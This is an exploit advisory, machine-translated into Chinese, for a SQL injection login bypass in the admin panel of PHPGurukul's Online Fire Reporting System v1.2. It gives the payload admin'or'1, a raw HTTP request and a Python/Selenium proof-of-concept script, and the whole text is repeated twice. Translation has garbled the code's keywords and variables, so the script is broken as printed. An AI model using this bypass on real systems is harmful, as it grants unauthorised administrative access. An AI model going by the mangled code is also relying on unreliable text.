#利用标题:在线消防报告系统SQL注入身份验证旁路
#日期: 02/10/2024
#利用作者: Diyar Saadi
#供应商homepage3360 https://phpgurukul.com/online-fire-reporting-system-system-php-and-mysql/
#软件link: https://phpgurukul.com/projects/online-fire-reporting-system-system-system-php.zip
#版本: V 1.2
#在: Windows 11 + XAMPP 8.0.30上测试
##利用描述##
ofrs/admin/index.php :中的SQL注入漏洞
ofrs/admin/index.php脚本中的SQL注入漏洞来自登录过程中用户输入的不安全处理。
##重现##的步骤
1-通过以下URL : http://localhost/ofrs/admin/index.php打开管理面板页面
2-从用户名盒: admin'or'1-输入以下有效载荷-
3-按登录按钮或按Enter。
##概念证明[1] ##
post/ofrs/admin/index.php http/1.1
HOST: LOCALHOST
内容长度: 46
cache-control: max-age=0
sec-ch-ua:'铬'; v='121','不是(品牌'; v='99'
sec-ch-ua-mobile:0
sec-ch-ua-platform:'Windows'
升级- 不肯定- requests: 1
Origin: http://localhost
content-type:应用程序/x-www-form-urlenceded
用户代理: Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,像Gecko一样)Chrome/121.0.6167.85 Safari/537.36
ACCEPT: TEXT/HTML,应用程序/XHTML+XML,Application/XML; Q=0.9,Image/avif,Image/WebP,Image/apng,/; q=0.8,application/application/application/nabiped-exchange; v=b3; q=0.7
sec-fetch-site:相同原产
sec-fetch mode:导航
sec-fetch-user:1
sec-fetch-Dest:文档
Referer: http://localhost/ofrs/admin/index.php
Accept-incoding: Gzip,Deflate,br
Accept-Language: en-us,en; q=0.9
cookie: phpsessID=fmnj70mh1qo2ssv80mlsv50O29
连接:关闭
用户名=admin%27or%27 - inputpwd=登录=登录
##概念证明[基于Python的脚本] [2] ##
导入操作系统
导入请求
来自Selenium Import Webdriver
从selenium.webdriver.common.通过进口
来自selenium.webdriver.support.ui导入WebDriverWait
从selenium.webdriver.support进口预期_conditions作为ec
进口Pyautogui
横幅='''
░█████╗░███████╗██████╗░░██████╗░█████╗░███╗░░░███╗░██████╗
██╔══██╗██╔════╝██╔══██╗██╔════╝██╔══██╗████╗░████║██╔════╝
██║░░██║█████╗░░██████╔╝╚█████╗░██║░░╚═╝██╔████╔██║╚█████╗░
█║░░░░█║█╔═╝░░█╔═══╖░█╔═══╖╗░╚═══╖╗░░░█╗╖═══╖╗
╚█████╔╝██║░░░░░██║░░██║██████╔╝╚█████╔╝██║░╚═╝░██║██████╔╝
░╚════╝░╚═╝░░░░░╚═╝░░╚═╝╚═════╝░░╚════╝░╚═╝░░░░░╚═╝╚═════╝░
#代码: Diyar Saadi
'''
印刷(横幅)
payload_requests=输入('输入payload:')
url_requests='http://localhost/ofrs/admin/index.php'
数据={
'username': payload_requests,
'password':'密码',
'login':'登录'
}
标题={
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,例如Gecko)Chrome/91.0.4472.124
'content-type':'应用程序/x-www-form-urlencoded',
'Custom-Header':'Rour-Custom-value'
}
TRY:
响应=requests.post(url_requests,data=data,headers=标题,allow_redirects=false)
如果wif.status_code==302 and wendesp.headers.get('location')和'dashboard.php'wenspys.headers ['location'] :
打印(“请求版本:管理面板成功绕过!')
url_selenium='http://localhost/ofrs/admin/index.php'
chrome_driver_path='C: \\ Windows \\ WebDriver \\ chromedriver.exe'
chrome_options=webdriver.chromeoptions()
chrome_options.add_argument('executable_path=' + chrome_driver_path)
驱动程序=webdriver.chrome(options=chrome_options)
driver.get(url_selenium)
pyautogui.typewrite(payload_requests)
pyautogui.press('tab')
pyautogui.typewrite(payload_requests)
pyautogui.press('enter')
webdriverwait(驱动程序,10).ultil(ec.url_contains('dashboard.php'))
screenshot_path=os.path.join(os.getcwd(),'dashboard_screenshot.png')
driver.save_screenshot(ScreenShot_path)
打印(f'Selenium版本:屏幕截图保存为{screenshot_path}')
driver.quit()
其他:
打印(“请求版本:登录失败。”)
除异常外,E:
打印(发生f'an错误: {e}')
#日期: 02/10/2024
#利用作者: Diyar Saadi
#供应商homepage3360 https://phpgurukul.com/online-fire-reporting-system-system-php-and-mysql/
#软件link: https://phpgurukul.com/projects/online-fire-reporting-system-system-system-php.zip
#版本: V 1.2
#在: Windows 11 + XAMPP 8.0.30上测试
##利用描述##
ofrs/admin/index.php :中的SQL注入漏洞
ofrs/admin/index.php脚本中的SQL注入漏洞来自登录过程中用户输入的不安全处理。
##重现##的步骤
1-通过以下URL : http://localhost/ofrs/admin/index.php打开管理面板页面
2-从用户名盒: admin'or'1-输入以下有效载荷-
3-按登录按钮或按Enter。
##概念证明[1] ##
post/ofrs/admin/index.php http/1.1
HOST: LOCALHOST
内容长度: 46
cache-control: max-age=0
sec-ch-ua:'铬'; v='121','不是(品牌'; v='99'
sec-ch-ua-mobile:0
sec-ch-ua-platform:'Windows'
升级- 不肯定- requests: 1
Origin: http://localhost
content-type:应用程序/x-www-form-urlenceded
用户代理: Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,像Gecko一样)Chrome/121.0.6167.85 Safari/537.36
ACCEPT: TEXT/HTML,应用程序/XHTML+XML,Application/XML; Q=0.9,Image/avif,Image/WebP,Image/apng,/; q=0.8,application/application/application/nabiped-exchange; v=b3; q=0.7
sec-fetch-site:相同原产
sec-fetch mode:导航
sec-fetch-user:1
sec-fetch-Dest:文档
Referer: http://localhost/ofrs/admin/index.php
Accept-incoding: Gzip,Deflate,br
Accept-Language: en-us,en; q=0.9
cookie: phpsessID=fmnj70mh1qo2ssv80mlsv50O29
连接:关闭
用户名=admin%27or%27 - inputpwd=登录=登录
##概念证明[基于Python的脚本] [2] ##
导入操作系统
导入请求
来自Selenium Import Webdriver
从selenium.webdriver.common.通过进口
来自selenium.webdriver.support.ui导入WebDriverWait
从selenium.webdriver.support进口预期_conditions作为ec
进口Pyautogui
横幅='''
░█████╗░███████╗██████╗░░██████╗░█████╗░███╗░░░███╗░██████╗
██╔══██╗██╔════╝██╔══██╗██╔════╝██╔══██╗████╗░████║██╔════╝
██║░░██║█████╗░░██████╔╝╚█████╗░██║░░╚═╝██╔████╔██║╚█████╗░
█║░░░░█║█╔═╝░░█╔═══╖░█╔═══╖╗░╚═══╖╗░░░█╗╖═══╖╗
╚█████╔╝██║░░░░░██║░░██║██████╔╝╚█████╔╝██║░╚═╝░██║██████╔╝
░╚════╝░╚═╝░░░░░╚═╝░░╚═╝╚═════╝░░╚════╝░╚═╝░░░░░╚═╝╚═════╝░
#代码: Diyar Saadi
'''
印刷(横幅)
payload_requests=输入('输入payload:')
url_requests='http://localhost/ofrs/admin/index.php'
数据={
'username': payload_requests,
'password':'密码',
'login':'登录'
}
标题={
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,例如Gecko)Chrome/91.0.4472.124
'content-type':'应用程序/x-www-form-urlencoded',
'Custom-Header':'Rour-Custom-value'
}
TRY:
响应=requests.post(url_requests,data=data,headers=标题,allow_redirects=false)
如果wif.status_code==302 and wendesp.headers.get('location')和'dashboard.php'wenspys.headers ['location'] :
打印(“请求版本:管理面板成功绕过!')
url_selenium='http://localhost/ofrs/admin/index.php'
chrome_driver_path='C: \\ Windows \\ WebDriver \\ chromedriver.exe'
chrome_options=webdriver.chromeoptions()
chrome_options.add_argument('executable_path=' + chrome_driver_path)
驱动程序=webdriver.chrome(options=chrome_options)
driver.get(url_selenium)
pyautogui.typewrite(payload_requests)
pyautogui.press('tab')
pyautogui.typewrite(payload_requests)
pyautogui.press('enter')
webdriverwait(驱动程序,10).ultil(ec.url_contains('dashboard.php'))
screenshot_path=os.path.join(os.getcwd(),'dashboard_screenshot.png')
driver.save_screenshot(ScreenShot_path)
打印(f'Selenium版本:屏幕截图保存为{screenshot_path}')
driver.quit()
其他:
打印(“请求版本:登录失败。”)
除异常外,E:
打印(发生f'an错误: {e}')